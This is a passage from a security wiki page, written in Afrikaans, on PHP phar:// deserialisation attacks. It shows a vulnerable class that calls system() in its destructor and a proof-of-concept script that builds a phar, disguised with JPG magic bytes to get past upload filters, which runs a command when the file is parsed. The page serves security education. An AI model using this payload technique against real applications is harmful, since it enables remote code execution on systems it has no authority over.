phar:// deserialisering
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Phar lĂȘrs (PHP-argief) bevat meta data in geserialiseerde formaat, so, wanneer dit gepars word, word hierdie metadata gedeserializeer en jy kan probeer om ân deserialisering kwesbaarheid in die PHP kode te misbruik.
Die beste ding van hierdie eienskap is dat hierdie deserialisering sal plaasvind selfs met PHP-funksies wat nie PHP-kode eval nie, soos file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize().
So, stel jou ân situasie voor waar jy ân PHP-web kan laat die grootte van ân arbitrĂȘre lĂȘer kry met die phar:// protokol, en binne die kode vind jy ân klas soortgelyk aan die volgende:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
Jy kan ân phar lĂȘer skep wat, wanneer dit gelaai word, hierdie klas sal misbruik om arbitrĂȘre opdragte met iets soos:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Let op hoe die magic bytes van JPG (\xff\xd8\xff) aan die begin van die phar-lĂȘer bygevoeg word om te omseil moontlike lĂȘer oplaai beperkings.
Compileer die test.phar lĂȘer met:
php --define phar.readonly=0 create_phar.php
En voer die whoami opdrag uit deur die kwesbare kode te misbruik met:
php vuln.php
Verwysings
https://blog.ripstech.com/2018/new-php-exploitation-technique/
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

